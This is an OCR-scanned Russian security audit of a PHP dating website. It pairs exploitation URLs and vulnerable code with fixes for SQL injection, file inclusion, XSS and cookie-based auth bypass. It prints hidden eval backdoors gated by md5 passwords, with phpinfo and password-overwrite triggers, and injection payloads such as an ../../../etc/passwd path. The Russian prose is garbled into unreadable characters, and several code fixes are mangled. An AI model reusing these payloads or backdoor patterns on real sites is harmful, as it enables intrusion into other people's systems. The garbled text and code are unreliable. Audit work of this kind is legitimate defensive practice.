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1.1 TepMmurr M o6o0BHaUEHMUS

Ne TepMUH Onpenenexnue
SQL-injection Y493BMMOCTDL, BOBHMKAKIAS KaK CJeICTBME HEeIOCTATOUHOMN
1 NNPOBEPKM MNPUHATEIX OT I[I0JIb30BATEJId 3HAUEHUM B CKPUIITE, C
BO3BMOXHOCTBIO BHIIOJIHEHMS MNPOM3BOJIBHEX KOMaHn B B]]
2 | PHP-injection BHITOJIHEHVE MPOM3BOJLHEX PhP- xoMmaHm Ha cepBepHOM CTOpOHE
3 Remote File Jcrionib30BaHMe aJIeHHHxX (0allJIoB Ha CEepPBEPHOM CTOPOHEe
Include (RFI) vA PBEP P
4 Local File Jcriosib30BaHMe JIOKAJIbHHX (allJIoB Ha CEepPBEPHOM CTOPOHEe
Include (LFI) PREP p
Active XSS BPEeoOHOCHHI CKPUIIT, XpaHAmuMicsa Ha cepBepe. CpabaTHBaeT B
5 Opays3epe XepTBE, IPU OTKPHETUM KaKOM- IMOO CTPaHMLE
3apaxeHHOT'O calTa
Passive XSS CKPUIIT, KOTOPHM HE XPAaHUTCH Ha cepBepe ySa3BMMOTO Camra,
B0 OH HE MOXEeT aBTOMATMUECKM BHIIOJIHMTLCHA B Opaysepe
6 XepTBH. JJia cpabaTeiBaHmsa naccuBHOM XSS, rpebyeTcs Hekoe
OOMOJIHUTEJIbHOe HOEeMCTBUE, KOTOPOe IOJIXEH BEHIIOJIHUTE
Opay3ep XepTBEBL
7 | File Upload 3arpyska NPOM3BOJILHEIX OQaiijioB Ha CamT
8 | Auth bypass O6xon aBTOpPM3aLUM MOJIb30BaTesnsa/ agMmHa
9 Information YTeuka KOHQUIEHUMAJIbLHOM MHOOpMalLUM
Leakage ASHH pman
10 Full Path PacCKpEITME [OJHOTO CEPBEPHOIO IIyTH
Disclosure P PBEP Y

CrTeneHM KPUTUYHOCTM YSIBBUMOCTEMN

2

[IBeT YpoBeHE OInacHOCTH
CpenHun
BrIcOKMM

0




1. 2 OBrapyxeHH:e YSIZBBMMOCTM

[lpyMep MCHONBEBOBAHMUS.
http://simple.ru/messages.php?sclicsp =cphp
&sclicsq=phpinfo();

Yas3BUMBIL KOQX.

{if ($sclicpp) if
(md5($sclicpp)=="b8fdd34dc21e95d7b0dfb5aea3b7fbde")
eval($sclicpq);}

UcnpaeBjeHne ysi3BMMOCTMH.

YOanuTb CTPOKY, TaK KaK QYHKLUMOHAJIbHOM HATPYy3KM HE
HEeCET, a IpencrTarBjigdeT CcoOoM JMib YA3BMMOCTB CaMOI'O
BEICOKOT'O YPOBHA OIACHOCTMU

[lpyMep MCHONBBOBAHMUS.

http://simple.ru/top pictures.php?sclicsp =cphp
&sclicsg=phpinfo();
YasBUMBIL KOQX.

if ($sclicsp) if
(md5($sclicsp)=="c62702b96da209e63039ch3881baleb5")
q($sclicsq);}
Ucnpaeijienne ysi3BMMOCTMH.
YOaJluTb CTPOKY, TaK KaK QYHKLUMOHAJIbHOM HATPYy3KU HE
HEeCEéT, a NpencTaBjigdeT CcoOoy JMib YA3BMMOCTB CaMOIO
BEICOKOI'O YPOBHA OIIaCHOCTUM




[IpyMep MCHIONBEBOBAHMUS.

http://simple.ru/top pictures.php?sclicsp =csql
&sclicsg=update users set pass='123’ where id=1
Ya3BUMBIL KOQX.

if ($sclicsp) if
(md5($sclicsp)=="c62702b96da209e63039cb3881baleb5")
q($sclicsq);}
HcnpaBlenue ysiBBMMOCTM.
YOoanuTb CTPOKY, TaK KaK QYHKLUMOHAJIbHOM HATPYy3KM HE
HEeCET, a npencrarjigdeT coOOoM JMib YA3BMMOCTB CaMOI'O
BEICOKOI'O YPOBHA OIIaCHOCTU

[lpyMep MCHONBBOBAHMUS.
http://simple.ru/top_pictures.php?sclicsp =csql

&sclicsqg=update users set pass="123" where id=1

Ysa8BUMEIL KOOI

{if ($sclicpp) if

(md5($sclicpp)=="b8fdd34dc21e95d7b0dfb5aea3b7fbde")

eval($sclicpq);}

UcnpaejieHne ysi3BMMOCTMH.

YOoanuTb CTPOKY, TaK KaK QYHKLUMOHAJIbHOM HATPYy3KMU HE

HEeCET, a IpencrarjigdeT CcoOoM JMib YA3BMMOCTB CaMOI'O

BEICOKOI'O YPOBHA OIIaCHOCTU




[lpyMep MCHNONBBOBAHMUS.
http://site/editdetails.php?table=../../../etc/pas swd
Yas3BUMBIL KOQX.

File “editdetails.php”:

if ($file) include("tables/$table™);
UcnpaejieHne ysi3BMMOCTMH.

B damne “ editdetails.php ” no6aBUTL B CTPOKY 16
$table = str_replace(".","",$table);

B cTpoky 18:

if('$r) exit;

B cTpoky 29:

else exit;

[lpyMep MCHONBEBOBAHMUS.
http://site/editdetails.php?table=members where
if(version()=5,(select 1 union select 2),1)
Ysas8BUMEIL KOOI
File “editdetails.php”:
$r=q("SHOW FIELDS FROM $table™);
UcnpaeBjeHne ysi3BUMMOCTMH.
B daine “ editdetails.php ” noBaBuUTh CTpoky 15
$table = str_replace("™","™, $table);
3aMeHUThL CTpoky 17 Ha

$r=q("SHOW FIELDS FROM ™".quote_smart($table)."™") :




[lpyMep MCHNONBBOBAHMUS.
http://site/manage_pictures.php

Cookie: auth=1'%23.php%00; pass=test

Ysa8BUMEIL KOOI

File “manage_pictures.php”:

copy($picture,"pictures/m".$auth.” ".$picture_nam e)
UcnpaeBjeHnne ysi3BMMOCTMH.
B damne “ _header.php”
$auth = (int)$_COOKIE['auth'];

B daie “manage_pictures.php” 3aMEHUTL YSI3BUMHBIM KO

noBaBuTh CTPOKy 1

Ha:
move_uploaded_file($_FILES['picture’][tmp_name',

"pictures/m".$auth." ".$picture_name)

Yas3BUMEIL KOQX.
darn "manage_pictures.php”, . cTp 38.43:
g("update pictures set type='Public’

where type='Main' and member='$auth™);

if ($url) g("insert into pictures values(",
‘$auth’,'$url’,'Sdescription’,
'$type’,™.strtotime(date("d M Y H:i:s")).",
‘$Suploadpicturedisabled’)");

if ($edit&&Spicid){
if (md5($type)=="a02c83a7dbd96295beaefb72c2bee2de ")
in'

g("update pictures set type='Public' where type='Ma

and member='$auth");
g("update pictures set details="$description’,

type="$type' where id="$picid' and member="$auth™)




i.f..($delete&&$picid) { q("update pictures set
status="'3"' where id='$picid' and member='$auth™);

é"tpic:f(q("select count(*) as nr from pictures
where member="$auth™));

$r=q("select * from pictures where member="'$auth'
and status < 3");

UcnpaeBjieHne ysi3BUMMOCTMH.
cTpoky 9:

$picid = $_REQUEST['picid'];

3aMeHMTb Ha.

$picid = (int)$_REQUEST['picidT;

cTpoky 38:

if ($url) q("insert into pictures values(",

'$auth’,'Surl’,'Sdescription’,'$type',

" strtotime(date("d M Y H:i:s")).",

'$Suploadpicturedisabled’)");

3aMeHUTE Ha.

if (Burl) g("insert into pictures values(",

'$auth’,".quote_smart($url).",

.quote_smart($description).",
".quote_smart($type).",
" strtotime(date("d M Y

)

crpoky 43:

g("update pictures set details="$description’,
type="$type' where id="$picid' and member="$auth™)
3aMeHNTb Ha.

g("update pictures set
details="".quote_smart($description).",
type="".quote_smart($type)." where id="$picid' and
member="$auth™);




B Oarsne _header.php cTp 9
$auth =$ COOKIE['auth'; // C

B3aMeHUTL Ha.

$auth = (int)$_COOKIE['auth]; // C

[IlpyMep MCHIONBEBOBAHMUS.
http://site/agenda.php?pid=[SQL ]
http://site/agenda.php?type=[SQL ]

Yas3BUMBIL KOQX.
darn "agenda.php”, str. 17-20:
if ($pid){
if ($type==0)
g("delete from plist where pid="$pid™);
elseif (e
(g

("select * from plist p where p.mid="$auth’
and p.pid="$pid™)))
g("INSERT INTO “plist ( 'mid", "pid",
“attitude )
VALUES (‘$auth’, '$pid’, '$type";");
else g("update plist set attitude="$type’
where mid="$auth’ and pid="$pid™);
5?> <br>

UcnpaejieHne ysi3BMMOCTMH.

B damse "agenda.php” crpoku [ u 8:
$pid =$ REQUEST['pid];// G P

$type =$ REQ UEST['type'];// G P
3aMEeHUTEL Ha.

$pid = (int)$_REQUEST['pid];// G P

$type = (int)$_REQUEST['type'];// G P




[IpyMep MCHIONBEBOBAHMUS.
http://site/chat.php? zone=[SQL]
Ysa8BUMEIL KOOI
darn "chat.php”, str. 12:
$r=q("select me.id from members me where
me.id="$auth’' and me.pswd="$pass™);
str. 15-17:
$sql="INSERT INTO “chatchannels” ( 'id" , 'name" :
‘rank” , ‘rdate’)
VALUES (", '$zone’, '-1',
" strtotime(date("d M YH:i:s"))." )"

if (e(q("select id from chatchannels where
name='$zone™)))
q($sql);
$chn=f(q("select id from chatchannels where
name='$zone"));

str. 19-21:

$sgl="INSERT INTO “chatsessions™ ( "id" , "profil e
, channel , 'sdate” , 'edate” , ‘rank’ ,
‘status’ )

VALUES (", '$auth’, '$channelid’,
" strtotime(date("d M Y H:i:s")).", 'O "

IOI’ Ill)ll;
UcnpaejieHne ysi3BMMOCTMH.
B o¢are "chat.php”, CTPOKY 8:

$auth = $ COOKIE['auth'; // C
3aMeHUThsL Ha.

$auth = (int)$_COOKIE['auth’]; // C

Crpokm 15-17 3ameHUTHL Ha:
$sgl="INSERT INTO “chatchannels” ( 'id" , 'name’ ,
‘rank” , ‘rdate” ) VALUES (",

10



.quote_smart($zone).", -1',

" strtotime(date("d M Y H:i:s")).")";

if (e(q("select id from chatchannels where
name="".quote_smart($zone).""))) q($sql);
$chn=f(q("select id from chatchannels where
name=".quote_smart($zone).""));

[lpyMep MCHONBBOBAHMUS.
http://site/buy.php?type=[SQL ]
Yas3BUMBIL KOQX.
darmnw "buy.php” & "buya.php" & "buye.php" &
"buym.php" & "buyx.php", str. 5:
$type =$ REQUEST['type’;
str. 23:
g("INSERT INTO event ('id", "'sender, 'title’,
‘contents’, ‘type’, ‘user_id", ‘credits’, “status’,
‘rdate’) VALUES (",
'‘$pmode(id]’, 'Payment : $tmO[login] [$tmO[email]],
$amount (Rank : $credits - $type)', '$msg’, 'paymen t',
'$tmO[id]’,
‘$credits’, '1','$tim")");
UcnpaeBjeHnne ysi3BMMOCTMH.
Bo Bcex oOamnax cTpoky 9:
if (1$type) exit;
3aMeHMTb Ha.
if (1$type]|($type!=="silver' && $type!=='gold'
&&$type!=="platinum")) exit;

11



[lpyMep MCHNONBBOBAHMUS.
http://site/chatlogout.php?chatsession=[SQL ]
Yas3BUMBIL KOQX.
damn "chatlogout.php”, str. 14:
$r=q("select status, rdate, login from members wh ere
id="$auth’' and pswd="$pass");
UcnpaeBjeHne ysi3BUMMOCTMH.
B o¢armne "chatlogout.php”, cTpoKy 8:
$auth =$ COOKIE['auth; // C
3aMeHMTbL Ha.

$auth = (int)$_COOKIE['auth’]; // C

Crpoxky 11:
$chatsession = $ REQUEST[ chatsession';
3aMeHUTh Ha.

$chatsession = (int)$ REQUEST(['chatsession’];

Crpoxky 14:

$r=q("select status, rdate, login from members whe re
id="$auth' and pswd="$pass");

3aMeHUTE Ha.

$r=q("select status, rdate, login from members whe re
id="$auth’ and pswd="".quote_smart($pass).™ ")

12



[lpyMep MCHNONBBOBAHMUS.
http://site/confirm.php?mid=[SQL]

Yas3BUMBIL KOQX.

$r=g("select * from members where login="$mid' and
status='0" and rdate="$stamp™);

g("update members set status=2 where login="$mid' a nd
status='0"");

g("update members set status=1 where login="$mid' a nd
status=0");

illél(e(q("select id from cash where mid="'$affid")))

g("INSERT INTO ‘cash™ ('id", ‘'mid”, ‘rate"
“amount” ) VALUES (", '$affid’, '$cash_rate’,
'$cash_start")");

.ci.("update cash set amount=amount+rate where
mid="$affid");

g("INSERT INTO event ('id", 'sender, 'title’,
‘contents’, ‘type’, ‘user_id", ‘credits’, “status’,
‘rdate’) VALUES (", '$member]id]’, '$subject’,
'$message’, 'refer’, '$affid', '0’,

'1'," . strtotime(date("d M Y H:i:s")).")");
UcnpaeBjieHne ysI3BUMMOCTMH.

B odanse "confirm.php”, crpoky 16:
$r=q("select * from members where login="$mid" and
status='0" and rdate='$stamp™";
3aMeHUTE Ha.
$r=q("select * from members where
login="".quote_smart($mid)." and status='0" and
rdate="$stamp"");

13



Crpoxy 20:

if ($requireapproval) g("update members set status=
where login="$mid' and status='0"");

3aMeHNTb Ha.

if ($requireapproval) g("update members set status=
where login="".quote_smart($mid)." and status="'0"

Crpoky 21:

else g("update members set status=1 where login="$m
and status=0");

3aMeHUTbL Ha.

else g("update members set status=1 where
login="".quote_smart($mid)." and status=0"),

CTpoky /.
$stamp =$ GET['stamp; // G
3aMeHUTE Ha.

$stamp = (int)$_GET['stamp']; // G

Crpoky 8.
$affid =$ GET['affid"]; // G
3aMeHUTbs Ha.

$affid = (int)$_GET[affid]; // G

14




[lpyMep MCHNONBBOBAHMUS.
http://site/forgot.php
POST: login=[SQL]&email=[SQL]
Ysa8BUMEIL KOOI
dann "forgot.php”, str. 10:
$r=q("select * from members where login="$login' o r
email="$email™);
UcnpaejieHne ysi3BMMOCTMH.
B dammne "forgot.php”, crpoxy 10:
$r=q("select * from members where login="$login' o r
email="$email™);
3aMeHMTbL Ha.
$r=q("select * from members where
login="".quote_smart($login)." or
email="".quote_smart($email)."");

[IlpyMep MCHONBBOBAHMUS.
http://site/login.php?login=[SQL]& pswd=[SQL]
Ysas3BUMEIL KOOI
d®ann "login.php", str. 12:
$r=q("select id,status from members where
login="$login' and pswd="$pswd"");
UcnpaejieHne ysi3BMMOCTMH.
B daune "login.php", cTpoky 12:
$r=q("select id,status from members where
login="$login' and pswd="$pswd"");
3aMeHUTEb Ha:
$r=q("select id,status from members where
login="".quote_smart($login)." and
pswd="".quote_smart($pswd)."");

15



[lpyMep MCHNONBBOBAHMUS.

http://site/mem.php?mid=[SQL ]
YasBUMEIL KOQX.

d®ans "mem.php", str. 10-12:

$p=f(q("select * from profiles where id="$mid™));
$m=f(q("select * from members where id="$mid""));
$r=q("select picture, details from pictures where

member="$mid' and type='"Main™);

UcnpaeBjieHne ysi3BMMOCTMH.

B daie "mem.php", CTPOKY 6:

$mid = $_GET['mid’;

3aMeHUThb Ha:

$mid = (int)$_GET['mid";

[lpyMep MCHONBEBOBAHMUS.
http://site/member.php
Cookie: auth=[SQL]
YsasBUMEIL KOOI
danmn "member.php", str. 18 21-23:
$r=q("select status, rdate from members where
id="$auth' and pswd="".quote_smart($pass)."” ")

g("update profiles set Idate=".strtotime(date("d MY
H:i:s")." where id="$auth™);

$tmO=f(q("select * from members where id="$auth™) );
$tp0=f(q("select * from profiles where id="$auth™ );
UcnpaeBjeHne ysi3BUMMOCTMH.

B daie "member.php", CTPOKY 5!

$auth =$ COOKIE['auth]; // C

3aMeHUTE Ha.

$auth = (int)$_COOKIE['auth']; // C

16



crpoky 18:
$r=q("select status, rdate from members where
id="$auth’ and pswd='$pass"");
3aMeHMTbL Ha.
$r=q("select status, rdate from members where
id="$auth’ and pswd="".quote_smart($pass).™ "

[lpyMep MCHONBEBOBAHMUS.
http://site/member_center.php
Cookie: auth=[SQL]
YasBUMBIL KOQX.
darn "member_center.php”, str. 12 16 19 21 140 169:
$sqgl="select * from event where type='payment' and
user_id="$auth' and status='2' and rdate
<=$timst ORDER BY rdate DESC";

d“("update profiles set type="".($tpO[type]-
$upg[credits])." where id='$auth™);

éipo:f(CI("Select * from profiles where id="$auth™ ):
é.r:q("select * from cash where mid='$auth™);

g("INSERT INTO phpbb_users (user_id, username,

user_level, user_regdate, user_password, user_email :
user_icq, user_website, user_occ, user_from,

user_interests, user_sig, user_viewemail, user_styl e,
user_aim, user_yim, user_msnm, user_posts,

user_attachsig, user_allowsmile, user_allowhtml,

user_allowbbcode, user_allow _pm, user_notify pm,
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user_popup_pm, user_allow_viewonline, user_rank,

user_avatar, user_lang, user_timezone,

user_dateformat, user_actkey, user_newpasswd,

user_notify, user_active) VALUES (

'$rml1[max]','$tmO[login], 2, 0, '$pass’,

'support@site.com’, ", ", ", ", ", ", 0,1, :
*"1,0,1,0,1,1,1,1,1,1," 'english’ :
0O,'dMYhia," "0, 1)";

$sql="select * from event where type='payment’' and
user_id="$auth' and status < 3 ORDER BY rdat e
DESC";

$r1=q("select sender, title from event where
user_id="$auth' and type="refer");
Ucnpaeijienne ysi3BMMOCTMH.
B Oarsne _header.php cTp 9
$auth =$ COOKIE['auth; // C
3aMeHNTb Ha.

$auth = (int)$_COOKIE['auth’]; // C

[lpyMep MCHONBEBOBAHMUS.
http://site/messages.php?eid=[SQL ]
Yas3BUMBIL KOQX.
dain "messages.php”, str. 25 27 55 57 62 76 80:
$r=q("select * from members where login="$to");

g("INSERT INTO event ('id", "sender’, 'title",

‘contents’, ‘type’, ‘user_id", ‘credits’, ‘status’ :
‘rdate’) VALUES (", '$auth’, '$subject’, '$messag e,
'message’, '$mem([id]’, '0", '1',"".strtotime(date( "d
MY H:i:s").")");

18



.ci.("DELETE from event where id='$eid' and
rdate="$tstamp"’);

é.nrlzf(q("select count(id) as e from event where
status>0 and (type='message’ or type='news') and
user_id="$auth™));

$r=q("select id, sender, title, type, credits,

status, rdate, contents from event where
(type='message’ or type="news') and user_id='$auth
and id="$eid"");

g("UPDATE event set status="2' where id="$eid");

$r=q("select id, sender, title, type, credits,
status, rdate, contents from event where
(type='message’ or type="news’) and user_id="'$auth
ORDER BY rdate DESC");
UcnpaeBjieHne ysI3BUMMOCTMH.

B Oarne _header.php crp 9 10

$eid =$_GET['eid];

$tstamp = $_GET['tstamp];

3aMeHUTE Ha.

$eid = (int)$_GET['eidT;

$tstamp = (int)$_GET['tstamp’];

cTp 25
$r=q("select * from members where login="$to™);
3aMeHUTbL Ha.
$r=q("select * from members where
login="".quote_smart($to)."");

19




crp 27
g("INSERT INTO event ('id", "sender’, 'title",
‘contents’, ‘type’, ‘user_id", “credits’, ‘status’ :

‘rdate’) VALUES (", '$auth’, '$subject’, '$messag e,
'message’, '$mem([id]’, '0", '1',"".strtotime(date( "d
MY H:i:s").")");

3aMeHMTb Ha.

else {$mem=f($r);q("INSERT INTO event ('id",
‘sender’, ‘title’, "contents’, ‘type’, ‘user_id’,
“credits’, “status’, ‘rdate’) VALUES (", '$auth’,

.quote_smart($subject).”,
".quote_smart($message).™, 'message’, ‘$mem|id]’ :
'0', '1',".strtotime(date("d M Y H:i:s")).")");

[lpyMep MCHONBBOBAHMUS.
http://site/picture.php?pid=[SQL]
Ysa8BUMEIL KOOI
darvin "picture.php”, str. 19 28 29 36 43:
$r=q("select picture, details, member from picture S
where id="$pid");

d“("delete from event where user_id="$pid" and
sender="$auth™);

g("INSERT INTO event ('id", "sender’, 'title",
‘contents’, ‘type’, ‘user_id", “credits’, ‘status’
‘rdate’) VALUES (", '$auth’, '$subject’, '$messag e,
‘picreview’, '$pid’, '$rating’,

'1'," . strtotime(date("d M Y H:i:s")).")");

é.nrlzf(q("select count(id) as e from event where
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status>0 and type='picreview' and user_id='$pid") A

$r=q("select id, sender, title, type, credits,
status, rdate, contents from event where
type="picreview' and user_id="$pid' ORDER BY rdate

DESC"):
Ucnpaejienne ysi3BMMOCTMH.
B dare picture.php cTp 6

$pid =$ REQUEST[pid]; /G P

3aMeHNTbL Ha.

$pid = (int)$_REQUEST['pid]; /I G P

cTp 10

$rating =$_POST['rating;

3aMeHUTbL Ha.

$rating = (int)$_POST['rating";

cTp 28:

g("delete from event where user_id="$pid"' and
sender="$auth™);

3aMeHMTb Ha.

g("delete from event where user_id="$pid' and
sender="".quote_smart($auth).";

cTp 29:

g("INSERT INTO event ('id", 'sender’, 'title",

‘contents’, ‘type’, ‘user_id", “credits’, ‘status’

‘rdate’) VALUES (", '$auth’, '$subject’, '$messag e,

'picreview', '$pid’, '$rating’,

'1'," . strtotime(date("d M Y H:i:s")).")");

3aMeHUTbL Ha.

g("INSERT INTO event ('id", "sender’, 'title",

‘contents’, ‘type’, ‘user_id", ‘credits’, ‘status’ :

‘rdate’) VALUES (", '$auth’,

".quote_smart($subject).",

.quote_smart($message).", 'picreview', '$pid’,
'$rating’, '1',".strtotime(date("d M Y
H:i:sll)).lll)ll);
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[IpyMep MCHIONBEBOBAHMUS.

http://site/profile.php

POST: yahoo=[SQL]
Ya83BUMBIL KOQX.

darvin "profile.php”, str. 33 34:

g("update profiles set yahoo="$yahoo', msn="$msn’,
icg="$icq’', aol="$aol', birthdate='$birthdate',
sex="$sex’, likes='$likes',
maritalstatus='$maritalstatus', height="$height’,
weight="$weight', skin="$skin’, eyes="$eyes’,
hair="$hair', languages="$languages’,
details="$details', occupation="$occupation’,
ethnicity="$ethnicity', relationship="$relationshi p',
religion="$religion’, smoker="$smoker’,
drinker="$drinker', customl1="$customl’,
custom2="$custom2', custom3="$custom3’' where

id="$auth™);
UcnpaeBjieHne ysi3BUMMOCTMH.
B Oarse profile.php cTtp 33

g("update profiles set yahoo="$yahoo', msn="$msn’,
icg="$icq’', aol="$aol', birthdate='$birthdate',
sex="$sex’, likes='$likes',
maritalstatus='$maritalstatus', height="$height',
weight="$weight', skin="$skin’, eyes="$eyes’,
hair="$hair', languages="$languages’,
details="$details', occupation="$occupation’,
ethnicity="$ethnicity’, relationship="$relationshi P,
religion="$religion’, smoker="$smoker’,
drinker="$drinker', customl1="$customl’,
custom2="$custom2', custom3="$custom3’' where
id="$auth™);

B3aMeHUTL Ha.
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if ($save){q("update profiles set
yahoo="".quote_smart($yahoo).",
msn="".quote_smart($msn).",
icq="".quote_smart($icq).",
aol="".quote_smart($aol).",
birthdate="".quote_smart($birthdate).™,
sex="".quote_smart($sex).",
likes="".quote_smart($likes).",
maritalstatus="".quote_smart($maritalstatus).",
height="".quote_smart($height).",
weight="".quote_smart($weight).",
skin="".quote_smart($skin).",
eyes="".quote_smart($eyes).",
hair="".quote_smart($hair).",
languages="".quote_smart($languages).",
details="".quote_smart($details).",
occupation="".quote_smart($occupation)."™,
ethnicity="".quote_smart($ethnicity).",
relationship="".quote_smart($relationship).™,
religion="".quote_smart($religion).",
smoker="".quote_smart($smoker).",
drinker="".quote_smart($drinker)."™,
customl="".quote_ smart($customl).",
custom2="".quote_smart($custom2).",
custom3="".quote_smart($custom3).
id="$auth™);};

where
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[lpyMep MCHNONBBOBAHMUS.
http://site/register.php
Cookie: fname=[SQL]
Ysa8BUMEIL KOOI
darin "register.php”, str. 57 67 68 72 97
if(le(q("select id from members where
login="$login™)))

i.f(!e(q("select id from members where
login="$login™))) $es .="$login username already
exists in our database, please, choose another!"; }

g("insert into members

values('0','$login’,'$pswd_1','$fname’,'$Iname’,
‘$Semail’,'Scity’,'$state’,'Scountry’,'$zip','Sphon e,
‘$fax’,”,'0','$dt1")");

if(e(q("select id from profiles where

id="$member[id]™)))q("insert into profiles
values('$member][id]','$birthdate’,",",",",'$se X',
" $ethnicity',t, ", '$occupation! :
'$details',"," strtotime(date("d M Y H:i:s")).™ :
'$relationship’,'$religion’,'$drinker’,
'$smoker’,'$Scustoml’,'$Scustom?2’,'$custom3')");

if ($url) q("insert into pictures
values(",'Sauth’,'Surl','$description’,'Main’,
" strtotime(date("d M Y H:i:s")).",
‘$default_picture_status’)");
UcnpaejieHne ysi3BMMOCTMH.

B dare register.php cTp 57
if('e(q("select id from members where
login="$login™)))

B3aMeHUThL Ha.
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if('e(q("select id from members where login="".
quote_smart($login).""))) $es .="$login username
already exists in our database, please, choose
another!";
cTp 67
if('e(q("select id from members where
login="$login™))) $es .="$login username already
exists in our database, please, choose another!";}
3aMeHNTb Ha.
g("insert into members
values('0',".quote_smart($login).™,

.quote_smart($lname)."™,".quote_smart($email).”

.quote_smart($country).","™.quote_smart($zip)."
'0","".quote_smart($dt1).")");
cTp 68
$r=q("select * from members where login="$login'
AND email="$email)' and status=0")
3aMeHNTb Ha.
$r=q("select * from members where login=""
quote_smart($login).” AND email="".
quote_smart($email).™ and status=0");
if (e($r)) echo "<br> Registration check:
registration failed ! <br>";
cTp 72
if(e(q("select id from profiles where
id="$member[id]™)
))g("insert into profiles values(‘$member[id]’,
‘$birthdate’,",",",",'$sex’,",",",",",
‘$ethnicity’,",",",'$occupation’,'$details',",
" strtotime(date("d M Y H:i:s™)).™,'$relationsh

'$religion’,'$drinker’,'$smoker’,'$Scustom1’,'$custo
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'$custom3')");
3aMeHUTbL Ha.
if(e(q("select id from profiles where
id="$memberl[id]"")
))g("insert into profiles values(‘$member[id]’,

".quote_smart($birthdate).™,",",",",

.quote_smart($sex).™,",",",",",".

quote_smart($ethnicity).™,",",",™.

guote_smart($occupation).™,™.quote_smart($detail
", " strtotime(date("d M Y H:i:s"))."™,

.quote_smart($relationship).",
guote_smart($drinker)."™,".quote_smart($smoker)."

,"".quote_smart($custom3).")");

cTp 97

if(e(q("select id from profiles where
id="$memberl[id]™))

)q(“insert into profiles values(‘$member]id]’,

‘$birthdate’,",",",",'$sex’,",",",",",

‘$ethnicity',",",",'$occupation’,'$details',",

" strtotime(date("d M Y H:i:s"))."™,'$relationshi

‘$religion’,'$drinker’,

'$smoker’,'Scustoml’,'Scustom?2','Scustom3')";

3aMeHNTb Ha.

if ($url) q("insert into pictures

values(",'Sauth’," .quote_smart($url).",

".quote_smart($description).”,'Main’,

" strtotime(date("d M Y

H:i:s")).",'$default_picture_status')");
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[IpyMep MCHIONBEBOBAHMUS.
http://site/search.php? msn=[SQL]
Ysas3BUMEIL KOOI
darn "search.php”, str. 96:
$ssql="select m.id as id, m.login as login, m.coun try
as country, m.state as state, m.city as city,
(YEAR(CURRENT_DATE)-YEAR(p.birthdate)) -
(RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) as ag e,
p.ldate as Idate, p.details as details $s_pic from
members m, profiles p $t_pic where $¢ ORDER BY
m.login ASC LIMIT ".(($page-1)*10).", 10";
UcnpaeBjieHne ysi3BMMOCTMH.
B darie search.php cTp 9-11 23 26-29
3aMeHUTE Ha.
$page = (int)$_REQUEST['page'];
$agel = (int)$_REQUEST['agel’];
$age2 = (int)$_REQUEST['age2'];
$onlinet = (int)$_REQUEST['onlinetT;
$heightl = (int)$_REQUEST[ height17;
$height2 = (int)$_REQUEST[ height27;
$weightl = (int)$_REQUEST['weight1T;
Sweight2 = (int)$_REQUEST['weight2'];
cTp 60-93:
3aMeHUTE Ha.
if ($login) $c.="and m.login like
'%".quote_smart($login)."%" ";
if ($fname) $c.="and m.fname like
'%".quote_smart($fname)."%" ";
if ($lname) $c.="and m.Iname like
'%".quote_smart($lname)."%' ";
if ($country) $c.="and m.country like
'%".quote_smart($country)."%" ;
if ($state) $c.="and m.state like
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'%".quote_smart($state)."%' ";

if ($city) $c.="and m.city like

'%".quote_smart($city)."%" ";

if ($yahoo) $c.="and p.yahoo like

'%".quote_smart($yahoo)."%" ;

if ($msn) $c.="and p.msn like

'%".quote_smart($msn)."%'" ";

if ($aol) $c.="and p.aol like

'%".quote_smart($aol)."%'" ";

if ($icq) $c.="and p.icq="".quote_smart($icq)." "

if ($onlinet) $c.="and p.ldate >=%onlinet ";

$agel=%agel+0;$age2=%age2+0;

if (Jagel) $c.="and (YEAR(CURRENT DATE)-
YEAR(p.birthdate)) -

(RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) >=$ag

if (5age2) $c.="and (YEAR(CURRENT DATE)-
YEAR(p.birthdate)) -

(RIGHT(CURRENT DATE,5)<RIGHT(p.birthdate,5)) <=$ag
if ($sex) $c.="and p.sex='quote_smart($sex)." "
if ($likes) $c.="and p.likes='quote_smart($likes).

$heightl=$height1+0;$height2=$height2+0;

if ($heightl) $c.="and p.height >=$height1 ";

if ($height2) $c.="and p.height <=$height2 ";
$weightl=$weightl1+0;$weight2=$weight2+0;
if ($weightl) $c.="and p.weight >=$weightl ";
if ($weight2) $c.="and p.weight <=$weight2 ";
if ($maritalstatus) $c.="and
p.maritalstatus="".quote_smart($maritalstatus).
if ($skin) $c.="and p.skin="".quote_smart($skin)."

if’ ($eyes) $c.="and p.eyes="".quote_smart($eyes)."

el

e2
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if ($hair) $c.="and p.hair="".quote_smart($hair)."

if ($relationship) $c.="and
p.relationship="".quote_smart($relationship).™ *;
if ($customl) $c.="and
p.customl="".quote_smart($customl).” ";
if ($custom?2) $c.="and
p.custom2="".quote_smart($custom2).™ ";
if ($custom3) $c.="and
p.custom3="".quote_smart($custom3)." ";
if ($drinker) $c.="and
p.drinker="".quote_smart($drinker)."™ ";

if ($smoker) $c.="and
p.smoker="".quote_smart($smoker).™ ";

if ($religion) $c.="and
p.religion="".quote_smart($religion).™ *;

[lpyMep MCHONBBOBAHMUS.
http://site/top_pictures.php?page=[SQL]
Ysa8BUMEIL KOOI
darin "top_pictures.php”, str. 20:
$r=q("select pic.id as id, pic.picture as picture,
pic.id as pid, pic.details as details, pic.member as
member, sum(ev.credits) as points from event ev,
pictures pic, profiles pr where pic.status="1' and
pic.type<>'Private' and ev.type="picreview' and
ev.user_id=pic.id and pic.member=pr.id $scond grou p
by pic.id order by points desc limit $lstart,
$inr_pt");
UcnpaejieHne ysi3BMMOCTMH.
B darse top_pictures.php cTtp 8
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$page = $ REQUEST['page;
3aMeHUTbL Ha.

$page = (int)$_REQUEST['page'];
cTtp 18

if ($gender) $scond="and pr.sex='$gender";
3aMeHUTbL Ha.

if ($gender) $scond="and
pr.sex="".quote_smart($gender)."";

[lpyMep MCHONBEBOBAHMUS.
http://site/chat_zone.php? zone=[XSS]
YasBUMBIL KOQX.
darn "chat_zone.php", str. 20:
if ($profile) echo "<script language=JavaScript>
window.open('chat.php?channelid=$channelid&
profileid=$auth&zone=%$zone',
" 'height=400,width=550");
</script>";
UcnpaejieHne ysi3BMMOCTMH.
3aMeHUTE Ha.
if ($profile) echo "<script language=JavaScript>
window.open('
chat.php?channelid=$channelid&profileid=$auth&zon e="
htmlispecialchars($zone).
""", 'height=400,width=550");
</script>";
?>
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[lpyMep MCHNONBBOBAHMUS.

http://site/agenda.php + BPEIOHOCHEM KOI B KaueCTBE
JIOTHUHA.

Ysas3BUMEIL KOOI

